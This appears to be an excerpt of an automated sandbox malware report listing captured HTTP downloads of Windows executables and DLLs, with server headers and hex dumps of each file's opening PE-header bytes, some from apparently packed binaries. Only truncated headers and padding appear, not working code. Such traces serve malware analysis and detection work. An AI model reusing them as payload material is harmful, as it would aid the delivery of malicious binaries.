Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:02:53 GMTContent-Type: application/octet-streamContent-Length: 1796608Last-Modified: Mon, 16 Dec 2024 13:43:52 GMTConnection: keep-aliveETag: "67602e98-1b6a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 69 00 00 04 00 00 12 3a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 7a 61 61 7a 79 65 61 00 d0 19 00 00 40 4f 00 00 c6 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 73 77 75 69 74 73 72 00 10 00 00 00 10 69 00 00 04 00 00 00 44 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 69 00 00 22 00 00 00 48 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:02:57 GMTContent-Type: application/octet-streamContent-Length: 727552Last-Modified: Wed, 11 Dec 2024 08:22:24 GMTConnection: keep-aliveETag: "67594bc0-b1a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 14:02:58 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 14:03:00 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 14:03:01 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 14:03:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 14:03:04 GMTContent-Type: application/octet-streamContent-Length: 4417024Last-Modified: Mon, 16 Dec 2024 12:38:51 GMTConnection: keep-aliveETag: "67601f5b-436600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b1 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e0 4b 00 00 64 71 00 00 32 00 00 00 60 c1 00 00 10 00 00 00 f0 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c1 00 00 04 00 00 e2 af 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f c0 6e 00 73 00 00 00 00 b0 6e 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 45 c1 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 44 c1 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 6e 00 00 10 00 00 00 40 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 b0 6e 00 00 02 00 00 00 50 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 6e 00 00 02 00 00 00 52 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 90 37 00 00 d0 6e 00 00 02 00 00 00 54 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 69 67 63 71 6e 6c 79 00 f0 1a 00 00 60 a6 00 00 e8 1a 00 00 56 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6a 68 69 73 6d 79 73 00 10 00 00 00 50 c1 00 00 06 00 00 00 3e 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 c1 00 00 22 00 00 00 44 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 16 Dec 2024 14:03:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 